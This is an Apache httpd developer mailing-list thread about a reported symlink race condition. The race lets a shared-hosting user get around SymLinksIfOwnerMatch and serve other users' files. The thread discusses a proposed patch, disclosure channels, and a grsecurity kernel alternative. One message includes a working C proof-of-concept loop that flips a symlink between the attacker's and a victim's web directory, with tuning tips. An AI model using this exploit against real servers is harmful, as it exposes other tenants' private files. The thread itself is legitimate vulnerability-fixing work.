Re: [patch] Fix cross-user symlink race condition vulnerability
On 03/04/2013 09:25 AM, Jason Staburn wrote:
If you would like more information on the exploit itself, please let me
know. I have a proof of concept that is able to hit the exploit with
100% success.
I'm trying to test this patch and would love to know how you're able to
duplicate this on-demand.
My proof of concept is attached to this email, but this exploit shows up
in the wild all the time. I've seen numerous php and perl based exploits
pop up via script kiddie injections. This PoC is just something I threw
together in a few minutes.
You'll need to update the paths to the files in main() to suit your
environment. If you're having a hard time hitting the race condition,
try tuning tim.tv_nsec in tsleep().
Finally, this exploit works two ways:
1) symlinking directly to your target file.
2) symlinking to a directory containing the target file.
The patch I published a few months ago fixes both vectors.
--
Eric Jacobs
Junior Systems Administrator
Bluehost.com
/** Apache Symlink Exploiter.
*
* Proof of concept for exploit where symlinks to files with non-matching UIDs
* are served by Apache even when Options +SymLinksIfOwnerMatch is enabled.
*
* The exploit is achieved by very quickly rocking a symlink back and forth
* between a file owned by the symlink owner, and file you actually want
* apache to serve, then requesting the symlink through apache hundreds of
* times in rapid succession. If everything goes well, you should eventually
* hit a race condition between UID checks and apache will serve your target
* file.
*
* Author: Eric Jacobs
* Date: September 11, 2012
* Bluehost.com
*/
#include unistd.h
#include stdio.h
#include time.h
/* tsleep() will sleep the thread for approx 1/1000 of a second. No sense
* in destroying the box that you're trying to exploit by creating and
* destroying symlinks too fast.
*/
int tsleep() {
struct timespec tim, tim2;
tim.tv_sec = 0;
tim.tv_nsec = 100;
if(nanosleep(tim,tim2) 0) {
printf(Failed during nanosleep.);
return 1;
}
return 0;
}
int main(int argc, char *argv[]) {
// The file your user does not own.
char target[] = /home1/victim/public_html/\0;
// A file to serve when you aren't serving your target file.
char dummy[] = /home1/attacker/public_html/\0;
// The name of the symlink you'll request in the browser.
char sym[] = /home1/attacker/public_html/link\0;
/* set up the original symlink with the uids matching */
symlink(dummy, sym);
while(1) {
unlink(sym);
symlink(target, sym);
tsleep();
unlink(sym);
symlink(dummy, sym);
tsleep();
}
return 0;
}
RE: [patch] Fix cross-user symlink race condition vulnerability
If you would like more information on the exploit itself, please let me know. I have a proof of concept that is able to hit the exploit with 100% success. Hi Eric, I'm trying to test this patch and would love to know how you're able to duplicate this on-demand. Thanks, Jason
Re: [patch] Fix cross-user symlink race condition vulnerability
2012/10/31 Eric Jacobs ejac...@bluehost.com: On 10/31/2012 06:00 AM, Eric Covener wrote: In general that is the proper form -- but this particular issue is documented as a limitation: Omitting this option should not be considered a security restriction, since symlink testing is subject to race conditions that make it circumventable. Some users (like Bluehost) require the functionality of symlinks without the possibility of server side vulnerabilities. Having the vulnerability documented doesn't keep servers safe. The patch I submitted allows httpd to use symlinks in a protected fashion that doesn't allow for users to serve arbitrary files. I'll go ahead and submit a more detailed email to the security. More feedback from the devs is appreciated. on some systems, at least on Linux You can use a grsecurity kernel patch feature which prevents those races and is cheeper performance wise +config GRKERNSEC_SYMLINKOWN + bool Kernel-enforced SymlinksIfOwnerMatch + default y if GRKERNSEC_CONFIG_AUTO GRKERNSEC_CONFIG_SERVER + help + Apache's SymlinksIfOwnerMatch option has an inherent race condition + that prevents it from being used as a security feature. As Apache + verifies the symlink by performing a stat() against the target of + the symlink before it is followed, an attacker can setup a symlink + to point to a same-owned file, then replace the symlink with one + that targets another user's file just after Apache validates the + symlink -- a classic TOCTOU race. If you say Y here, a complete, + race-free replacement for Apache's SymlinksIfOwnerMatch option + will be in place for the group you specify. If the sysctl option + is enabled, a sysctl option with name enforce_symlinksifowner is + created. there probably is something similar on *BSD's, or if there isn't it won't be hard to make Your patch checks for a race conditions every time, even if Symlinks weren't allowed. It also references some configuration dependent directory like /usr/local/apache/htdocs. -- Michal Grzedzicki
Re: [patch] Fix cross-user symlink race condition vulnerability
Le 31/10/2012 05:46, Eric Jacobs a écrit : There is a race condition vulnerability in httpd 2.2.23 (also present in previous releases) that allows a malicious user to serve arbitrary files from nearly anywhere on a server that isn't protected by strict os level permissions. In a shared hosting environment, this is a big vulnerability. If you would like more information on the exploit itself, please let me know. I have a proof of concept that is able to hit the exploit with 100% success. This is my first patch submitted to Apache, so I'm sorry if I've missed something. I'm aware that this doesn't meet some of the code standards that are in place (e.g, it doesn't work at all on Windows), but I wanted to put it out there anyway. The patch that fixes the vulnerability is attached. Thank you in advance for the feedback. Hi, could you please open a bug report on bugzilla (https://issues.apache.org/bugzilla/) so that your message and proposed patch does not get lost in this mailing list. Thanks in advance. Best regards, Christophe JAILLET
Re: [patch] Fix cross-user symlink race condition vulnerability
On 31 Oct 2012, at 6:46 AM, Eric Jacobs ejac...@bluehost.com wrote: There is a race condition vulnerability in httpd 2.2.23 (also present in previous releases) that allows a malicious user to serve arbitrary files from nearly anywhere on a server that isn't protected by strict os level permissions. In a shared hosting environment, this is a big vulnerability. If you would like more information on the exploit itself, please let me know. I have a proof of concept that is able to hit the exploit with 100% success. This is my first patch submitted to Apache, so I'm sorry if I've missed something. I'm aware that this doesn't meet some of the code standards that are in place (e.g, it doesn't work at all on Windows), but I wanted to put it out there anyway. The patch that fixes the vulnerability is attached. Thank you in advance for the feedback. As this is reported as a security issue, would it be possible instead to email the details to secur...@httpd.apache.org, and we can take a look? Regards, Graham -- smime.p7s Description: S/MIME cryptographic signature
Re: [patch] Fix cross-user symlink race condition vulnerability
On Wed, Oct 31, 2012 at 7:31 AM, Graham Leggett minf...@sharp.fm wrote: On 31 Oct 2012, at 6:46 AM, Eric Jacobs ejac...@bluehost.com wrote: There is a race condition vulnerability in httpd 2.2.23 (also present in previous releases) that allows a malicious user to serve arbitrary files from nearly anywhere on a server that isn't protected by strict os level permissions. In a shared hosting environment, this is a big vulnerability. If you would like more information on the exploit itself, please let me know. I have a proof of concept that is able to hit the exploit with 100% success. This is my first patch submitted to Apache, so I'm sorry if I've missed something. I'm aware that this doesn't meet some of the code standards that are in place (e.g, it doesn't work at all on Windows), but I wanted to put it out there anyway. The patch that fixes the vulnerability is attached. Thank you in advance for the feedback. As this is reported as a security issue, would it be possible instead to email the details to secur...@httpd.apache.org, and we can take a look? In general that is the proper form -- but this particular issue is documented as a limitation: Omitting this option should not be considered a security restriction, since symlink testing is subject to race conditions that make it circumventable.
Re: [patch] Fix cross-user symlink race condition vulnerability
On 10/31/2012 06:00 AM, Eric Covener wrote: In general that is the proper form -- but this particular issue is documented as a limitation: Omitting this option should not be considered a security restriction, since symlink testing is subject to race conditions that make it circumventable. Some users (like Bluehost) require the functionality of symlinks without the possibility of server side vulnerabilities. Having the vulnerability documented doesn't keep servers safe. The patch I submitted allows httpd to use symlinks in a protected fashion that doesn't allow for users to serve arbitrary files. I'll go ahead and submit a more detailed email to the security. More feedback from the devs is appreciated. -- Eric Jacobs Junior Systems Administrator Bluehost.com
Re: [patch] Fix cross-user symlink race condition vulnerability
On Wed, Oct 31, 2012 at 3:36 PM, Eric Jacobs ejac...@bluehost.com wrote: On 10/31/2012 06:00 AM, Eric Covener wrote: In general that is the proper form -- but this particular issue is documented as a limitation: Omitting this option should not be considered a security restriction, since symlink testing is subject to race conditions that make it circumventable. Some users (like Bluehost) require the functionality of symlinks without the possibility of server side vulnerabilities. Having the vulnerability documented doesn't keep servers safe. My point was that discussion of this particular issue does not need to be segregated to the private security list.
